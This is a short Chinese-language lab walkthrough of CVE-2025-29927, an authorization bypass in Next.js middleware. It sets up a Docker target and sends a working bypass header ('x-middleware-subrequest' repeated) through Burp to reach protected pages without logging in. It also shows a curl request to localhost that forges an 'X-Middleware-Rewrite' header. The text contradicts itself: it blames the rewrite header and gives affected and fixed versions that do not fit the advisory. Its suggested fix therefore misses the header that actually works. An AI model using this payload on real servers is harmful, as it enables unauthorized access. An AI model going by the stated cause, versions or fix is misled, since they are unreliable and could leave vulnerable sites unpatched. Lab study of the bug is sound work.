前言:CVE-2025-29927 是一個影響 Next.js 的嚴重漏洞,源于開發者信任了客戶端請求中攜帶的 X-Middleware-Rewrite
頭部字段。攻擊者可以手動構造該頭部,實現繞過中間件邏輯,訪問本應受保護的資源或 API。
影響版本:Next.js < 14.1.4
成因概括:攻擊者利用請求頭控制中間件行為,重寫跳轉目標路徑,進而繞過路由攔截。
任務一 啟動環境
cd next.js/
cd CVE-2025-29927/
docker compose up -d
//3000就是靶機端口
?
?任務二 打開BurpSuite
代理->代理設置->響應攔截規則(勾選)
隨便輸入一個弱口令 返回的是/login 沒有成功
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
//在bp加入一個頭部,返回了200成功了
任務三 拓展 | 本地?
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';export function middleware(request: NextRequest) {const token = request.cookies.get('token');if (!token) {return NextResponse.redirect(new URL('/login', request.url));}return NextResponse.next();
}//創建中間件 middleware.ts
curl -i http://localhost:3000/api/admin \-H "X-Middleware-Rewrite: /api/public" \-H "Cookie: token=malicious"
//構造繞過請求,模擬攻擊
//原本未登錄用戶訪問 /api/admin 會被跳轉到 /login,構造該頭部后,成功偽裝訪問 /api/public,繞過登錄校驗。
任務四 修復?
//防御措施
proxy_set_header X-Middleware-Rewrite "";
//中間件中加入請求來源驗證機制,防止偽造
官方修復版本:14.1.4
GitHub Release Note?